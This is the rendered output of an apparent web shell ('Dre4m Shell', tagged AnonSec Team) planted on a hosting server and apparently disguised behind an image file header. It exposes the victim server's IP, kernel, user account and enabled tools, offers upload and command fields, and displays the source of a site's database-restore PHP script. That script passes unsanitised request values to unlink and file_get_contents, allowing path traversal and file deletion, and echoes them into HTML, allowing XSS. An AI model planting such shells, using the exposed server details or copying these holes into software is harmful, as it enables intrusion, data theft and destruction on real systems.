ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/live-snaps.fr/seo-mailing/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/live-snaps.fr/seo-mailing/tools/db_restores.php
<?php
if(isset($_GET['file_del'])){
	unlink("backups/db/".$_GET['file_del']);?>
    <script type="application/javascript">
			document.location.href="?tools&db_restore";
	</script> 
<?php }elseif(isset($_GET['file_restore']) && isset($_GET['ver'])){
	if($_GET['ver'] == $INFO['ver']){
		echo "<div class='alert alert-info'><h3>".__('Caution!')."</h3><hr>
		".__('Data will be lost, in table will be restored data from file backup')." <b>{$_GET['file_restore']}</b><br>
		<ul>"; 
					$file = file_get_contents("backups/db/".$_GET['file_restore']);
					$regexp_code = "|CREATE TABLE `(.*)` \(|imuUs";
					$regexp_text  = $file;
					preg_match_all($regexp_code,$regexp_text,$out);
					foreach($out[1] as $value){
						echo "<li>".$value;
					}
		echo "</ul>		
		".__('You still want to continue?')."<br>		
		<hr>
		<a href='?tools&db_restore' class='btn btn-warning'>".__('Cancel')."</a> <a href='?tools&db_restore&restore={$_GET['file_restore']}' class='btn btn-primary'>".__('Continue')."</a>		
		</div>";
	}elseif($_GET['ver'] < $INFO['ver']){
		echo "<div class='alert alert-error'><h3>".__('Caution!')."</h3><hr>
		".__('Version of a file')." <b>{$_GET['ver']}</b>, ".__('Your version')." <b>{$INFO['ver']}</b><br>
		".__('You still want to continue?')."<hr>
		<a href='?tools&db_restore' class='btn btn-warning'>".__('Cancel')."</a> <a href='' class='btn btn-warning'>".__('Continue')."</a>		
		</div>";
	}elseif($_GET['ver'] == "unknown"){
		echo "<div class='alert alert-error'><h3>".__('Caution!')."</h3><hr>
		".__('Unknown version, the recovery is not desirable')."<hr>
		<a href='?tools&db_restore' class='btn btn-warning'>".__('Cancel')."</a>
		</div>";
	}
	
}elseif(isset($_GET['restore'])){
	$file = file_get_contents("backups/db/".$_GET['restore']);
	$lines = explode(";\r\n", $file);
	$regexp_code = "|CREATE TABLE `(.*)` \(|imuUs";
	$dump=$optimize=array(); 
	$dump[] = "-- ver(".$INFO['ver'].")\n";
	foreach($lines as $val){
		$regexp_text  = $val;
		preg_match_all($regexp_code,$regexp_text,$out);
		
		if(isset($out[1][0])){
				$optimize[]=$out[1][0];
				$columns=mysql_fetch_row(mysql_query('SHOW CREATE TABLE `'.$out[1][0].'`')); 
				$dump[]=$columns[1].";\r\n";
				$resz=mysqli_query($db,'SELECT * FROM `'.$out[1][0].'`');
				for($i=0;$m=mysqli_fetch_assoc($resz);$i++){ 		
					$name=array(); $value=array();
					foreach($m as $k=>$v){ 
						$name[]=$k;
						$value[]=mysql_real_escape_string($v);
					}				
				$dump[]="INSERT INTO `".$out[1][0]."` (`".implode('`, `',$name)."`) VALUES ('".implode("', '",$value)."');\r\n";
				}
		}
	}
			$name=$INFO['sql_tbl_prefix'].date('d.m.Y_H-i-s',time()).'.sql';
			$dump=implode('',$dump);
			file_put_contents('backups/archives_db/'.$name,$dump);

	
}
if(count($_POST) && isset($_POST['file']) && count($_POST['file']) > 0){
		foreach($_POST['file'] as $key=>$val){
			unlink("backups/db/".$key);
		}?>
	<script type="application/javascript">
			document.location.href="?tools&db_restore";
	</script> 
<?php }
function GetListFiles($folder,&$all_files){
    $fp=opendir($folder);
    while($cv_file=readdir($fp)) {
        if(is_file($folder."/".$cv_file)) {
            $all_files[]=$folder."/".$cv_file;
        }elseif($cv_file!="." && $cv_file!=".." && is_dir($folder."/".$cv_file)){
            GetListFiles($folder."/".$cv_file,$all_files);
        }
    }
    closedir($fp);
}
$all_files=array();
GetListFiles("backups/db",$all_files);
rsort($all_files);
foreach($all_files as $value){
	if(end(explode(".",end(explode("/",$value)))) == 'sql'){
		$name = end(explode("/",$value));
		$regexp_code = "/".$INFO['sql_tbl_prefix']."(.*).sql/";
		$regexp_text = $value;
		preg_match_all($regexp_code,$regexp_text,$out);
		$count_file[] =$out[0];
	}
}
if(count($count_file) > 1){?>
	<script>
jQuery.noConflict()(function($){
	$(document).ready(function () {
		$(".cheackall").click(function()				
			{
				var checked_status = this.checked;
				for (i=1; i<=<?php echo count($count_file)?>; i++){
					$('#file'+i).each(function()
					{
						this.checked = checked_status;
					});
				}
			});
	});
});
</script>
<form action="" method="post">
	<table class="table table-bordered table-striped">
    	<thead>
        	<tr class="font11">
            	<td class="span1 center"><input type="checkbox" class="cheackall"/></td>
            	<th class="span2"><?php echo __('Create time')?></th>
            	<th><?php echo __('File name')?></th>
                <th><?php echo __('Tables')?></th> 
                <th><?php echo __('Quantity')?></th>
                <th><?php echo __('Version')?></th>                
               	<th class="span1"><?php echo __('Operations')?></th>
            </tr>
        </thead>
        <tbody>
<?php  
		$res=mysql_query("show tables from {$INFO['sql_database']}");
		$i=0;
		while($table=mysql_fetch_row($res)){
			if(strripos($table[0], $INFO['sql_tbl_prefix']) === 0){
				$i++;
			}
		}
	$ii = 1;	
	foreach($all_files as $value){
	if(end(explode(".",end(explode("/",$value)))) == 'sql'){
		$name = end(explode("/",$value));
		$regexp_code = "/".$INFO['sql_tbl_prefix']."(.*).sql/";
		$regexp_text = $value;
		preg_match_all($regexp_code,$regexp_text,$out);
		
		if(isset($out) && count($out[0]) > 0){
			$file_name = $out[0][0];
			?>
        	<tr class="font11">
            	<td class="center"><input type="checkbox" id="file<?php echo $ii++;?>" name="file[<?php echo $file_name?>]"></td>
            	<td><?php echo  date("F d Y H:i:s",filectime("backups/db/".$out[0][0]));?></td>
            	<td><a href="backups/db/<?php echo $out[0][0]?>" target="_blank"><?php echo $out[0][0]?></a></td>
                <td><ul>
                <?php 
					$file = file_get_contents("backups/db/".$out[0][0]);
					$regexp_code = "|CREATE TABLE `(.*)` \(|imuUs";
					$ver = "/-- ver\((.*)\)/imuUs";
					$regexp_text  = $file;
					preg_match_all($regexp_code,$regexp_text,$out);
					preg_match($ver,$regexp_text,$v);
					foreach($out[1] as $value){
						echo "<li>".$value;
					}
				?>
                </ul></td>
                <td><?php 
				if(count($out[1]) < $i){
				echo __('Only')." <b>".count($out[1])."</b> ".strtolower(__('Tables'));
				}elseif(count($out[1]) == $i){
					echo __('All');
				}
				?></td>
                <td class="center"><?php
				if(isset($v[1])){
					echo $v[1];
				}else{
					$v[1] = "unknown";
					echo "<span class='label'>".__('Version unknown')."</span>";				
				}
				?></td>
            	<td><div class="btn-group">
                  <a class="btn btn-primary btn-small dropdown-toggle" data-toggle="dropdown" href="#">
                    <?php echo __('Action');?>
                    <span class="caret"></span>
                  </a>
                  <ul class="dropdown-menu">
                    <!-- dropdown menu links -->
                    <li><a href="?tools&db_restore&file_restore=<?php echo $file_name?>&ver=<?php echo $v[1]?>" title="<?php echo __('Restore');?>" ><i class="icon-share"></i> <?php echo __('Restore');?></a></li>
                    <li class="divider"></li>
                   	<li><a href="?tools&db_restore&file_del=<?php echo $file_name?>" onClick="return confirm('<?php echo __('Remove?');?>');" ><i class="icon-remove-sign"></i> <?php echo __('Remove');?></a></li>
                  </ul>
                </div></td>                                
            </tr>
<?php	}}
}	?>	
		<tfoot>
        	<tr>
            	<td colspan="7"><button type="submit" class="btn btn-mini btn-danger"><?php echo __('Delete selected');?></button></td>
            </tr>
        </tfoot>	
        </tbody>
    </table>
    </form>
<?php }else{?>
	<div class="alert alert-info">
    	<h4><?php echo __('Information')?></h4>
        <p><?php echo __('No saved files')?></p>
    </div>
<?php }?>

Anon7 - 2022
AnonSec Team